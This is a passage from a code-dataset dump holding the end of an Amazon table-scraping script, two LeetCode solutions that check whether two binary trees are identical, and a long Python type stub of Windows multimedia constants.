pd.DataFrame([dati_tab], columns= col_names)\r\n df.to_excel('E:/webscraping/tab_prod.xlsx')\r\n\r\n\r\nscrape_amz_tables(url)","repo_name":"AlbertoDeBenedittis/Amz-reviews-Analysis","sub_path":"product_attributes.py","file_name":"product_attributes.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"39180075045","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nfrom collections import deque\n\n\nclass Solution(object):\n def isSameTree(self, p, q):\n \"\"\"\n :type p: TreeNode\n :type q: TreeNode\n :rtype: bool\n \"\"\"\n pq = deque()\n qq = deque()\n pq.append(p)\n qq.append(q)\n\n while pq and qq:\n x, y = pq.popleft(), qq.popleft()\n if not (x == y == None or x and y and x.val == y.val):\n return False\n if x:\n pq.append(x.left)\n pq.append(x.right)\n if y:\n qq.append(y.left)\n qq.append(y.right)\n return True\n\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def isSameTree(self, p, q):\n \"\"\"\n :type p: TreeNode\n :type q: TreeNode\n :rtype: bool\n \"\"\"\n if p == q == None:\n return True\n if not (p and q and p.val == q.val):\n return False\n\n return self.isSameTree(p.left, q.left) and self.isSameTree(p.right, q.right)\n","repo_name":"Mschikay/leetcode","sub_path":"100. Same Tree.py","file_name":"100. Same Tree.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"17896079415","text":"from _typeshed import Incomplete\n\nMAXPNAMELEN: int\nMAXERRORLENGTH: int\nMAX_JOYSTICKOEMVXDNAME: int\nMM_MICROSOFT: int\nMM_MIDI_MAPPER: int\nMM_WAVE_MAPPER: int\nMM_SNDBLST_MIDIOUT: int\nMM_SNDBLST_MIDIIN: int\nMM_SNDBLST_SYNTH: int\nMM_SNDBLST_WAVEOUT: int\nMM_SNDBLST_WAVEIN: int\nMM_ADLIB: int\nMM_MPU401_MIDIOUT: int\nMM_MPU401_MIDIIN: int\nMM_PC_JOYSTICK: int\nTIME_MS: int\nTIME_SAMPLES: int\nTIME_BYTES: int\nTIME_SMPTE: int\nTIME_MIDI: int\nTIME_TICKS: int\nMM_JOY1MOVE: int\nMM_JOY2MOVE: int\nMM_JOY1ZMOVE: int\nMM_JOY2ZMOVE: int\nMM_JOY1BUTTONDOWN: int\nMM_JOY2BUTTONDOWN: int\nMM_JOY1BUTTONUP: int\nMM_JOY2BUTTONUP: int\nMM_MCINOTIFY: int\nMM_WOM_OPEN: int\nMM_WOM_CLOSE: int\nMM_WOM_DONE: int\nMM_WIM_OPEN: int\nMM_WIM_CLOSE: int\nMM_WIM_DATA: int\nMM_MIM_OPEN: int\nMM_MIM_CLOSE: int\nMM_MIM_DATA: int\nMM_MIM_LONGDATA: int\nMM_MIM_ERROR: int\nMM_MIM_LONGERROR: int\nMM_MOM_OPEN: int\nMM_MOM_CLOSE: int\nMM_MOM_DONE: int\nMM_STREAM_OPEN: int\nMM_STREAM_CLOSE: int\nMM_STREAM_DONE: int\nMM_STREAM_ERROR: int\nMM_MOM_POSITIONCB: int\nMM_MIM_MOREDATA: int\nMM_MIXM_LINE_CHANGE: int\nMM_MIXM_CONTROL_CHANGE: int\nMMSYSERR_BASE: int\nWAVERR_BASE: int\nMIDIERR_BASE: int\nTIMERR_BASE: int\nJOYERR_BASE: int\nMCIERR_BASE: int\nMIXERR_BASE: int\nMCI_STRING_OFFSET: int\nMCI_VD_OFFSET: int\nMCI_CD_OFFSET: int\nMCI_WAVE_OFFSET: int\nMCI_SEQ_OFFSET: int\nMMSYSERR_NOERROR: int\nMMSYSERR_ERROR: Incomplete\nMMSYSERR_BADDEVICEID: Incomplete\nMMSYSERR_NOTENABLED: Incomplete\nMMSYSERR_ALLOCATED: Incomplete\nMMSYSERR_INVALHANDLE: Incomplete\nMMSYSERR_NODRIVER: Incomplete\nMMSYSERR_NOMEM: Incomplete\nMMSYSERR_NOTSUPPORTED: Incomplete\nMMSYSERR_BADERRNUM: Incomplete\nMMSYSERR_INVALFLAG: Incomplete\nMMSYSERR_INVALPARAM: Incomplete\nMMSYSERR_HANDLEBUSY: Incomplete\nMMSYSERR_INVALIDALIAS: Incomplete\nMMSYSERR_BADDB: Incomplete\nMMSYSERR_KEYNOTFOUND: Incomplete\nMMSYSERR_READERROR: Incomplete\nMMSYSERR_WRITEERROR: Incomplete\nMMSYSERR_DELETEERROR: Incomplete\nMMSYSERR_VALNOTFOUND: Incomplete\nMMSYSERR_NODRIVERCB: Incomplete\nMMSYSERR_LASTERROR: Incomplete\nDRV_LOAD: int\nDRV_ENABLE: int\nDRV_OPEN: int\nDRV_CLOSE: int\nDRV_DISABLE: int\nDRV_FREE: int\nDRV_CONFIGURE: int\nDRV_QUERYCONFIGURE: int\nDRV_INSTALL: int\nDRV_REMOVE: int\nDRV_EXITSESSION: int\nDRV_POWER: int\nDRV_RESERVED: int\nDRV_USER: int\nDRVCNF_CANCEL: int\nDRVCNF_OK: int\nDRVCNF_RESTART: int\nDRV_CANCEL: int\nDRV_OK: int\nDRV_RESTART: int\nDRV_MCI_FIRST: int\nDRV_MCI_LAST: Incomplete\nCALLBACK_TYPEMASK: int\nCALLBACK_NULL: int\nCALLBACK_WINDOW: int\nCALLBACK_TASK: int\nCALLBACK_FUNCTION: int\nCALLBACK_THREAD: int\nCALLBACK_EVENT: int\nSND_SYNC: int\nSND_ASYNC: int\nSND_NODEFAULT: int\nSND_MEMORY: int\nSND_LOOP: int\nSND_NOSTOP: int\nSND_NOWAIT: int\nSND_ALIAS: int\nSND_ALIAS_ID: int\nSND_FILENAME: int\nSND_RESOURCE: int\nSND_PURGE: int\nSND_APPLICATION: int\nSND_ALIAS_START: int\nWAVERR_BADFORMAT: Incomplete\nWAVERR_STILLPLAYING: Incomplete\nWAVERR_UNPREPARED: Incomplete\nWAVERR_SYNC: Incomplete\nWAVERR_LASTERROR: Incomplete\nWOM_OPEN: int\nWOM_CLOSE: int\nWOM_DONE: int\nWIM_OPEN: int\nWIM_CLOSE: int\nWIM_DATA: int\nWAVE_MAPPER: int\nWAVE_FORMAT_QUERY: int\nWAVE_ALLOWSYNC: int\nWAVE_MAPPED: int\nWAVE_FORMAT_DIRECT: int\nWAVE_FORMAT_DIRECT_QUERY: Incomplete\nWHDR_DONE: int\nWHDR_PREPARED: int\nWHDR_BEGINLOOP: int\nWHDR_ENDLOOP: int\nWHDR_INQUEUE: int\nWAVECAPS_PITCH: int\nWAVECAPS_PLAYBACKRATE: int\nWAVECAPS_VOLUME: int\nWAVECAPS_LRVOLUME: int\nWAVECAPS_SYNC: int\nWAVECAPS_SAMPLEACCURATE: int\nWAVECAPS_DIRECTSOUND: int\nWAVE_INVALIDFORMAT: int\nWAVE_FORMAT_1M08: int\nWAVE_FORMAT_1S08: int\nWAVE_FORMAT_1M16: int\nWAVE_FORMAT_1S16: int\nWAVE_FORMAT_2M08: int\nWAVE_FORMAT_2S08: int\nWAVE_FORMAT_2M16: int\nWAVE_FORMAT_2S16: int\nWAVE_FORMAT_4M08: int\nWAVE_FORMAT_4S08: int\nWAVE_FORMAT_4M16: int\nWAVE_FORMAT_4S16: int\nWAVE_FORMAT_PCM: int\nWAVE_FORMAT_IEEE_FLOAT: int\nMIDIERR_UNPREPARED: Incomplete\nMIDIERR_STILLPLAYING: Incomplete\nMIDIERR_NOMAP: Incomplete\nMIDIERR_NOTREADY: Incomplete\nMIDIERR_NODEVICE: Incomplete\nMIDIERR_INVALIDSETUP: Incomplete\nMIDIERR_BADOPENMODE: Incomplete\nMIDIERR_DONT_CONTINUE: Incomplete\nMIDIERR_LASTERROR: Incomplete\nMIDIPATCHSIZE: int\nMIM_OPEN: int\nMIM_CLOSE: int\nMIM_DATA: int\nMIM_LONGDATA: int\nMIM_ERROR: int\nMIM_LONGERROR: int\nMOM_OPEN: int\nMOM_CLOSE: int\nMOM_DONE: int\nMIM_MOREDATA: int\nMOM_POSITIONCB: int\nMIDI_IO_STATUS: int\nMIDI_CACHE_ALL: int\nMIDI_CACHE_BESTFIT: int\nMIDI_CACHE_QUERY: int\nMIDI_UNCACHE: int\nMOD_MIDIPORT: int\nMOD_SYNTH: int\nMOD_SQSYNTH: int\nMOD_FMSYNTH: int\nMOD_MAPPER: int\nMIDICAPS_VOLUME: int\nMIDICAPS_LRVOLUME: int\nMIDICAPS_CACHE: int\nMIDICAPS_STREAM: int\nMHDR_DONE: int\nMHDR_PREPARED: int\nMHDR_INQUEUE: int\nMHDR_ISSTRM: int\nMEVT_F_SHORT: int\nMEVT_F_LONG: int\nMEVT_F_CALLBACK: int\n\ndef MEVT_EVENTTYPE(x): ...\ndef MEVT_EVENTPARM(x): ...\n\nMIDISTRM_ERROR: int\nMIDIPROP_SET: int\nMIDIPROP_GET: int\nMIDIPROP_TIMEDIV: int\nMIDIPROP_TEMPO: int\nAUXCAPS_CDAUDIO: int\nAUXCAPS_AUXIN: int\nAUXCAPS_VOLUME: int\nAUXCAPS_LRVOLUME: int\nMIXER_SHORT_NAME_CHARS: int\nMIXER_LONG_NAME_CHARS: int\nMIXERR_INVALLINE: Incomplete\nMIXERR_INVALCONTROL: Incomplete\nMIXERR_INVALVALUE: Incomplete\nMIXERR_LASTERROR: Incomplete\nMIXER_OBJECTF_HANDLE: int\nMIXER_OBJECTF_MIXER: int\nMIXER_OBJECTF_HMIXER: Incomplete\nMIXER_OBJECTF_WAVEOUT: int\nMIXER_OBJECTF_HWAVEOUT: Incomplete\nMIXER_OBJECTF_WAVEIN: int\nMIXER_OBJECTF_HWAVEIN: Incomplete\nMIXER_OBJECTF_MIDIOUT: int\nMIXER_OBJECTF_HMIDIOUT: Incomplete\nMIXER_OBJECTF_MIDIIN: int\nMIXER_OBJECTF_HMIDIIN: Incomplete\nMIXER_OBJECTF_AUX: int\nMIXERLINE_LINEF_ACTIVE: int\nMIXERLINE_LINEF_DISCONNECTED: int\nMIXERLINE_LINEF_SOURCE: int\nMIXERLINE_COMPONENTTYPE_DST_FIRST: int\nMIXERLINE_COMPONENTTYPE_DST_UNDEFINED: Incomplete\nMIXERLINE_COMPONENTTYPE_DST_DIGITAL: Incomplete\nMIXERLINE_COMPONENTTYPE_DST_LINE: Incomplete\nMIXERLINE_COMPONENTTYPE_DST_MONITOR: Incomplete\nMIXERLINE_COMPONENTTYPE_DST_SPEAKERS: Incomplete\nMIXERLINE_COMPONENTTYPE_DST_HEADPHONES: Incomplete\nMIXERLINE_COMPONENTTYPE_DST_TELEPHONE: Incomplete\nMIXERLINE_COMPONENTTYPE_DST_WAVEIN: Incomplete\nMIXERLINE_COMPONENTTYPE_DST_VOICEIN: Incomplete\nMIXERLINE_COMPONENTTYPE_DST_LAST: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_FIRST: int\nMIXERLINE_COMPONENTTYPE_SRC_UNDEFINED: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_DIGITAL: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_LINE: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_MICROPHONE: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_SYNTHESIZER: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_COMPACTDISC: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_TELEPHONE: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_PCSPEAKER: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_WAVEOUT: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_AUXILIARY: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_ANALOG: Incomplete\nMIXERLINE_COMPONENTTYPE_SRC_LAST: Incomplete\nMIXERLINE_TARGETTYPE_UNDEFINED: int\nMIXERLINE_TARGETTYPE_WAVEOUT: int\nMIXERLINE_TARGETTYPE_WAVEIN: int\nMIXERLINE_TARGETTYPE_MIDIOUT: int\nMIXERLINE_TARGETTYPE_MIDIIN: int\nMIXERLINE_TARGETTYPE_AUX: int\nMIXER_GETLINEINFOF_DESTINATION: int\nMIXER_GETLINEINFOF_SOURCE: int\nMIXER_GETLINEINFOF_LINEID: int\nMIXER_GETLINEINFOF_COMPONENTTYPE: int\nMIXER_GETLINEINFOF_TARGETTYPE: int\nMIXER_GETLINEINFOF_QUERYMASK: int\nMIXERCONTROL_CONTROLF_UNIFORM: int\nMIXERCONTROL_CONTROLF_MULTIPLE: int\nMIXERCONTROL_CONTROLF_DISABLED: int\nMIXERCONTROL_CT_CLASS_MASK: int\nMIXERCONTROL_CT_CLASS_CUSTOM: int\nMIXERCONTROL_CT_CLASS_METER: int\nMIXERCONTROL_CT_CLASS_SWITCH: int\nMIXERCONTROL_CT_CLASS_NUMBER: int\nMIXERCONTROL_CT_CLASS_SLIDER: int\nMIXERCONTROL_CT_CLASS_FADER: int\nMIXERCONTROL_CT_CLASS_TIME: int\nMIXERCONTROL_CT_CLASS_LIST: int\nMIXERCONTROL_CT_SUBCLASS_MASK: int\nMIXERCONTROL_CT_SC_SWITCH_BOOLEAN: int\nMIXERCONTROL_CT_SC_SWITCH_BUTTON: int\nMIXERCONTROL_CT_SC_METER_POLLED: int\nMIXERCONTROL_CT_SC_TIME_MICROSECS: int\nMIXERCONTROL_CT_SC_TIME_MILLISECS: int\nMIXERCONTROL_CT_SC_LIST_SINGLE: int\nMIXERCONTROL_CT_SC_LIST_MULTIPLE: int\nMIXERCONTROL_CT_UNITS_MASK: int\nMIXERCONTROL_CT_UNITS_CUSTOM: int\nMIXERCONTROL_CT_UNITS_BOOLEAN: int\nMIXERCONTROL_CT_UNITS_SIGNED: int\nMIXERCONTROL_CT_UNITS_UNSIGNED: int\nMIXERCONTROL_CT_UNITS_DECIBELS: int\nMIXERCONTROL_CT_UNITS_PERCENT: int\nMIXERCONTROL_CONTROLTYPE_CUSTOM: Incomplete\nMIXERCONTROL_CONTROLTYPE_BOOLEANMETER: Incomplete\nMIXERCONTROL_CONTROLTYPE_SIGNEDMETER: Incomplete\nMIXERCONTROL_CONTROLTYPE_PEAKMETER: Incomplete\nMIXERCONTROL_CONTROLTYPE_UNSIGNEDMETER: Incomplete\nMIXERCONTROL_CONTROLTYPE_BOOLEAN: Incomplete\nMIXERCONTROL_CONTROLTYPE_ONOFF: Incomplete\nMIXERCONTROL_CONTROLTYPE_MUTE: Incomplete\nMIXERCONTROL_CONTROLTYPE_MONO: Incomplete\nMIXERCONTROL_CONTROLTYPE_LOUDNESS: Incomplete\nMIXERCONTROL_CONTROLTYPE_STEREOENH: Incomplete\nMIXERCONTROL_CONTROLTYPE_BUTTON: Incomplete\nMIXERCONTROL_CONTROLTYPE_DECIBELS: Incomplete\nMIXERCONTROL_CONTROLTYPE_SIGNED: Incomplete\nMIXERCONTROL_CONTROLTYPE_UNSIGNED: Incomplete\nMIXERCONTROL_CONTROLTYPE_PERCENT: Incomplete\nMIXERCONTROL_CONTROLTYPE_SLIDER: Incomplete\nMIXERCONTROL_CONTROLTYPE_PAN: Incomplete\nMIXERCONTROL_CONTROLTYPE_QSOUNDPAN: Incomplete\nMIXERCONTROL_CONTROLTYPE_FADER: Incomplete\nMIXERCONTROL_CONTROLTYPE_VOLUME: Incomplete\nMIXERCONTROL_CONTROLTYPE_BASS: Incomplete\nMIXERCONTROL_CONTROLTYPE_TREBLE: Incomplete\nMIXERCONTROL_CONTROLTYPE_EQUALIZER: Incomplete\nMIXERCONTROL_CONTROLTYPE_SINGLESELECT: Incomplete\nMIXERCONTROL_CONTROLTYPE_MUX: Incomplete\nMIXERCONTROL_CONTROLTYPE_MULTIPLESELECT: Incomplete\nMIXERCONTROL_CONTROLTYPE_MIXER: Incomplete\nMIXERCONTROL_CONTROLTYPE_MICROTIME: Incomplete\nMIXERCONTROL_CONTROLTYPE_MILLITIME: Incomplete\nMIXER_GETLINECONTROLSF_ALL: int\nMIXER_GETLINECONTROLSF_ONEBYID: int\nMIXER_GETLINECONTROLSF_ONEBYTYPE: int\nMIXER_GETLINECONTROLSF_QUERYMASK: int\nMIXER_GETCONTROLDETAILSF_VALUE: int\nMIXER_GETCONTROLDETAILSF_LISTTEXT: int\nMIXER_GETCONTROLDETAILSF_QUERYMASK: int\nMIXER_SETCONTROLDETAILSF_VALUE: int\nMIXER_SETCONTROLDETAILSF_CUSTOM: int\nMIXER_SETCONTROLDETAILSF_QUERYMASK: int\nTIMERR_NOERROR: int\nTIMERR_NOCANDO: Incomplete\nTIMERR_STRUCT: Incomplete\nTIME_ONESHOT: int\nTIME_PERIODIC: int\nTIME_CALLBACK_FUNCTION: int\nTIME_CALLBACK_EVENT_SET: int\nTIME_CALLBACK_EVENT_PULSE: int\nJOYERR_NOERROR: int\nJOYERR_PARMS: Incomplete\nJOYERR_NOCANDO: Incomplete\nJOYERR_UNPLUGGED: Incomplete\nJOY_BUTTON1: int\nJOY_BUTTON2: int\nJOY_BUTTON3: int\nJOY_BUTTON4: int\nJOY_BUTTON1CHG: int\nJOY_BUTTON2CHG: int\nJOY_BUTTON3CHG: int\nJOY_BUTTON4CHG: int\nJOY_BUTTON5: int\nJOY_BUTTON6: int\nJOY_BUTTON7: int\nJOY_BUTTON8: int\nJOY_BUTTON9: int\nJOY_BUTTON10: int\nJOY_BUTTON11: int\nJOY_BUTTON12: int\nJOY_BUTTON13: int\nJOY_BUTTON14: int\nJOY_BUTTON15: int\nJOY_BUTTON16: int\nJOY_BUTTON17: int\nJOY_BUTTON18: int\nJOY_BUTTON19: int\nJOY_BUTTON20: int\nJOY_BUTTON21: int\nJOY_BUTTON22: int\nJOY_BUTTON23: int\nJOY_BUTTON24: int\nJOY_BUTTON25: int\nJOY_BUTTON26: int\nJOY_BUTTON27: int\nJOY_BUTTON28: int\nJOY_BUTTON29: int\nJOY_BUTTON30: int\nJOY_BUTTON31: int\nJOY_BUTTON32: int\nJOY_POVFORWARD: int\nJOY_POVRIGHT: int\nJOY_POVBACKWARD: int\nJOY_POVLEFT: int\nJOY_RETURNX: int\nJOY_RETURNY: int\nJOY_RETURNZ: int\nJOY_RETURNR: int\nJOY_RETURNU: int\nJOY_RETURNV: int\nJOY_RETURNPOV: int\nJOY_RETURNBUTTONS: int\nJOY_RETURNRAWDATA: int\nJOY_RETURNPOVCTS: int\nJOY_RETURNCENTERED: int\nJOY_USEDEADZONE: int\nJOY_RETURNALL: Incomplete\nJOY_CAL_READALWAYS: int\nJOY_CAL_READXYONLY: int\nJOY_CAL_READ3: int\nJOY_CAL_READ4: int\nJOY_CAL_READXONLY: int\nJOY_CAL_READYONLY: int\nJOY_CAL_READ5: int\nJOY_CAL_READ6: int\nJOY_CAL_READZONLY: int\nJOY_CAL_READRONLY: int\nJOY_CAL_READUONLY: int\nJOY_CAL_READVONLY: int\nJOYSTICKID1: int\nJOYSTICKID2: int\nJOYCAPS_HASZ: int\nJOYCAPS_HASR: int\nJOYCAPS_HASU: int\nJOYCAPS_HASV: int\nJOYCAPS_HASPOV: int\nJOYCAPS_POV4DIR: int\nJOYCAPS_POVCTS: int\nMMIOERR_BASE: int\nMMIOERR_FILENOTFOUND: Incomplete\nMMIOERR_OUTOFMEMORY: Incomplete\nMMIOERR_CANNOTOPEN: Incomplete\nMMIOERR_CANNOTCLOSE: Incomplete\nMMIOERR_CANNOTREAD: Incomplete\nMMIOERR_CANNOTWRITE: Incomplete\nMMIOERR_CANNOTSEEK: Incomplete\nMMIOERR_CANNOTEXPAND: Incomplete\nMMIOERR_CHUNKNOTFOUND: Incomplete\nMMIOERR_UNBUFFERED: Incomplete\nMMIOERR_PATHNOTFOUND: Incomplete\nMMIOERR_ACCESSDENIED: Incomplete\nMMIOERR_SHARINGVIOLATION: Incomplete\nMMIOERR_NETWORKERROR: Incomplete\nMMIOERR_TOOMANYOPENFILES: Incomplete\nMMIOERR_INVALIDFILE: Incomplete\nCFSEPCHAR: Incomplete\nMMIO_RWMODE: int\nMMIO_SHAREMODE: int\nMMIO_CREATE: int\nMMIO_PARSE: int\nMMIO_DELETE: int\nMMIO_EXIST: int\nMMIO_ALLOCBUF: int\nMMIO_GETTEMP: int\nMMIO_DIRTY: int\nMMIO_READ: int\nMMIO_WRITE: int\nMMIO_READWRITE: int\nMMIO_COMPAT: int\nMMIO_EXCLUSIVE: int\nMMIO_DENYWRITE: int\nMMIO_DENYREAD: int\nMMIO_DENYNONE: int\nMMIO_FHOPEN: int\nMMIO_EMPTYBUF: int\nMMIO_TOUPPER: int\nMMIO_INSTALLPROC: int\nMMIO_GLOBALPROC: int\nMMIO_REMOVEPROC: int\nMMIO_UNICODEPROC: int\nMMIO_FINDPROC: int\nMMIO_FINDCHUNK: int\nMMIO_FINDRIFF: int\nMMIO_FINDLIST: int\nMMIO_CREATERIFF: int\nMMIO_CREATELIST: int\nMMIOM_READ: int\nMMIOM_WRITE: int\nMMIOM_SEEK: int\nMMIOM_OPEN: int\nMMIOM_CLOSE: int\nMMIOM_WRITEFLUSH: int\nMMIOM_RENAME: int\nMMIOM_USER: int\nSEEK_SET: int\nSEEK_CUR: int\nSEEK_END: int\nMMIO_DEFAULTBUFFER: int\nMCIERR_INVALID_DEVICE_ID: Incomplete\nMCIERR_UNRECOGNIZED_KEYWORD: Incomplete\nMCIERR_UNRECOGNIZED_COMMAND: Incomplete\nMCIERR_HARDWARE: Incomplete\nMCIERR_INVALID_DEVICE_NAME: Incomplete\nMCIERR_OUT_OF_MEMORY: Incomplete\nMCIERR_DEVICE_OPEN: Incomplete\nMCIERR_CANNOT_LOAD_DRIVER: Incomplete\nMCIERR_MISSING_COMMAND_STRING: Incomplete\nMCIERR_PARAM_OVERFLOW: Incomplete\nMCIERR_MISSING_STRING_ARGUMENT: Incomplete\nMCIERR_BAD_INTEGER: Incomplete\nMCIERR_PARSER_INTERNAL: Incomplete\nMCIERR_DRIVER_INTERNAL: Incomplete\nMCIERR_MISSING_PARAMETER: Incomplete\nMCIERR_UNSUPPORTED_FUNCTION: Incomplete\nMCIERR_FILE_NOT_FOUND: Incomplete\nMCIERR_DEVICE_NOT_READY: Incomplete\nMCIERR_INTERNAL: Incomplete\nMCIERR_DRIVER: Incomplete\nMCIERR_CANNOT_USE_ALL: Incomplete\nMCIERR_MULTIPLE: Incomplete\nMCIERR_EXTENSION_NOT_FOUND: Incomplete\nMCIERR_OUTOFRANGE: Incomplete\nMCIERR_FLAGS_NOT_COMPATIBLE: Incomplete\nMCIERR_FILE_NOT_SAVED: Incomplete\nMCIERR_DEVICE_TYPE_REQUIRED: Incomplete\nMCIERR_DEVICE_LOCKED: Incomplete\nMCIERR_DUPLICATE_ALIAS: Incomplete\nMCIERR_BAD_CONSTANT: Incomplete\nMCIERR_MUST_USE_SHAREABLE: Incomplete\nMCIERR_MISSING_DEVICE_NAME: Incomplete\nMCIERR_BAD_TIME_FORMAT: Incomplete\nMCIERR_NO_CLOSING_QUOTE: Incomplete\nMCIERR_DUPLICATE_FLAGS: Incomplete\nMCIERR_INVALID_FILE: Incomplete\nMCIERR_NULL_PARAMETER_BLOCK: Incomplete\nMCIERR_UNNAMED_RESOURCE: Incomplete\nMCIERR_NEW_REQUIRES_ALIAS: Incomplete\nMCIERR_NOTIFY_ON_AUTO_OPEN: Incomplete\nMCIERR_NO_ELEMENT_ALLOWED: Incomplete\nMCIERR_NONAPPLICABLE_FUNCTION: Incomplete\nMCIERR_ILLEGAL_FOR_AUTO_OPEN: Incomplete\nMCIERR_FILENAME_REQUIRED: Incomplete\nMCIERR_EXTRA_CHARACTERS: Incomplete\nMCIERR_DEVICE_NOT_INSTALLED: Incomplete\nMCIERR_GET_CD: Incomplete\nMCIERR_SET_CD: Incomplete\nMCIERR_SET_DRIVE: Incomplete\nMCIERR_DEVICE_LENGTH: Incomplete\nMCIERR_DEVICE_ORD_LENGTH: Incomplete\nMCIERR_NO_INTEGER: Incomplete\nMCIERR_WAVE_OUTPUTSINUSE: Incomplete\nMCIERR_WAVE_SETOUTPUTINUSE: Incomplete\nMCIERR_WAVE_INPUTSINUSE: Incomplete\nMCIERR_WAVE_SETINPUTINUSE: Incomplete\nMCIERR_WAVE_OUTPUTUNSPECIFIED: Incomplete\nMCIERR_WAVE_INPUTUNSPECIFIED: Incomplete\nMCIERR_WAVE_OUTPUTSUNSUITABLE: Incomplete\nMCIERR_WAVE_SETOUTPUTUNSUITABLE: Incomplete\nMCIERR_WAVE_INPUTSUNSUITABLE: Incomplete\nMCIERR_WAVE_SETINPUTUNSUITABLE: Incomplete\nMCIERR_SEQ_DIV_INCOMPATIBLE: Incomplete\nMCIERR_SEQ_PORT_INUSE: Incomplete\nMCIERR_SEQ_PORT_NONEXISTENT: Incomplete\nMCIERR_SEQ_PORT_MAPNODEVICE: Incomplete\nMCIERR_SEQ_PORT_MISCERROR: Incomplete\nMCIERR_SEQ_TIMER: Incomplete\nMCIERR_SEQ_PORTUNSPECIFIED: Incomplete\nMCIERR_SEQ_NOMIDIPRESENT: Incomplete\nMCIERR_NO_WINDOW: Incomplete\nMCIERR_CREATEWINDOW: Incomplete\nMCIERR_FILE_READ: Incomplete\nMCIERR_FILE_WRITE: Incomplete\nMCIERR_NO_IDENTITY: Incomplete\nMCIERR_CUSTOM_DRIVER_BASE: Incomplete\nMCI_FIRST: int\nMCI_OPEN: int\nMCI_CLOSE: int\nMCI_ESCAPE: int\nMCI_PLAY: int\nMCI_SEEK: int\nMCI_STOP: int\nMCI_PAUSE: int\nMCI_INFO: int\nMCI_GETDEVCAPS: int\nMCI_SPIN: int\nMCI_SET: int\nMCI_STEP: int\nMCI_RECORD: int\nMCI_SYSINFO: int\nMCI_BREAK: int\nMCI_SAVE: int\nMCI_STATUS: int\nMCI_CUE: int\nMCI_REALIZE: int\nMCI_WINDOW: int\nMCI_PUT: int\nMCI_WHERE: int\nMCI_FREEZE: int\nMCI_UNFREEZE: int\nMCI_LOAD: int\nMCI_CUT: int\nMCI_COPY: int\nMCI_PASTE: int\nMCI_UPDATE: int\nMCI_RESUME: int\nMCI_DELETE: int\nMCI_USER_MESSAGES: Incomplete\nMCI_LAST: int\nMCI_DEVTYPE_VCR: int\nMCI_DEVTYPE_VIDEODISC: int\nMCI_DEVTYPE_OVERLAY: int\nMCI_DEVTYPE_CD_AUDIO: int\nMCI_DEVTYPE_DAT: int\nMCI_DEVTYPE_SCANNER: int\nMCI_DEVTYPE_ANIMATION: int\nMCI_DEVTYPE_DIGITAL_VIDEO: int\nMCI_DEVTYPE_OTHER: int\nMCI_DEVTYPE_WAVEFORM_AUDIO: int\nMCI_DEVTYPE_SEQUENCER: int\nMCI_DEVTYPE_FIRST: int\nMCI_DEVTYPE_LAST: int\nMCI_DEVTYPE_FIRST_USER: int\nMCI_MODE_NOT_READY: Incomplete\nMCI_MODE_STOP: Incomplete\nMCI_MODE_PLAY: Incomplete\nMCI_MODE_RECORD: Incomplete\nMCI_MODE_SEEK: Incomplete\nMCI_MODE_PAUSE: Incomplete\nMCI_MODE_OPEN: Incomplete\nMCI_FORMAT_MILLISECONDS: int\nMCI_FORMAT_HMS: int\nMCI_FORMAT_MSF: int\nMCI_FORMAT_FRAMES: int\nMCI_FORMAT_SMPTE_24: int\nMCI_FORMAT_SMPTE_25: int\nMCI_FORMAT_SMPTE_30: int\nMCI_FORMAT_SMPTE_30DROP: int\nMCI_FORMAT_BYTES: int\nMCI_FORMAT_SAMPLES: int\nMCI_FORMAT_TMSF: int\n\ndef MCI_MSF_MINUTE(msf): ...\ndef MCI_MSF_SECOND(msf): ...\ndef MCI_MSF_FRAME(msf): ...\ndef MCI_TMSF_TRACK(tmsf): ...\ndef MCI_TMSF_MINUTE(tmsf): ...\ndef MCI_TMSF_SECOND(tmsf): ...\ndef MCI_TMSF_FRAME(tmsf): ...\ndef MCI_HMS_HOUR(hms): ...\ndef MCI_HMS_MINUTE(hms): ...\ndef MCI_HMS_SECOND(hms): ...\n\nMCI_NOTIFY_SUCCESSFUL: int\nMCI_NOTIFY_SUPERSEDED: int\nMCI_NOTIFY_ABORTED: int\nMCI_NOTIFY_FAILURE: int\nMCI_NOTIFY: int\nMCI_WAIT: int\nMCI_FROM: int\nMCI_TO: int\nMCI_TRACK: int\nMCI_OPEN_SHAREABLE: int\nMCI_OPEN_ELEMENT: int\nMCI_OPEN_ALIAS: int\nMCI_OPEN_ELEMENT_ID: int\nMCI_OPEN_TYPE_ID: int\nMCI_OPEN_TYPE: int\nMCI_SEEK_TO_START: int\nMCI_SEEK_TO_END: int\nMCI_STATUS_ITEM: int\nMCI_STATUS_START: int\nMCI_STATUS_LENGTH: int\nMCI_STATUS_POSITION: int\nMCI_STATUS_NUMBER_OF_TRACKS: int\nMCI_STATUS_MODE: int\nMCI_STATUS_MEDIA_PRESENT: int\nMCI_STATUS_TIME_FORMAT: int\nMCI_STATUS_READY: int\nMCI_STATUS_CURRENT_TRACK: int\nMCI_INFO_PRODUCT: int\nMCI_INFO_FILE: int\nMCI_INFO_MEDIA_UPC: int\nMCI_INFO_MEDIA_IDENTITY: int\nMCI_INFO_NAME: int\nMCI_INFO_COPYRIGHT: int\nMCI_GETDEVCAPS_ITEM: int\nMCI_GETDEVCAPS_CAN_RECORD: int\nMCI_GETDEVCAPS_HAS_AUDIO: int\nMCI_GETDEVCAPS_HAS_VIDEO: int\nMCI_GETDEVCAPS_DEVICE_TYPE: int\nMCI_GETDEVCAPS_USES_FILES: int\nMCI_GETDEVCAPS_COMPOUND_DEVICE: int\nMCI_GETDEVCAPS_CAN_EJECT: 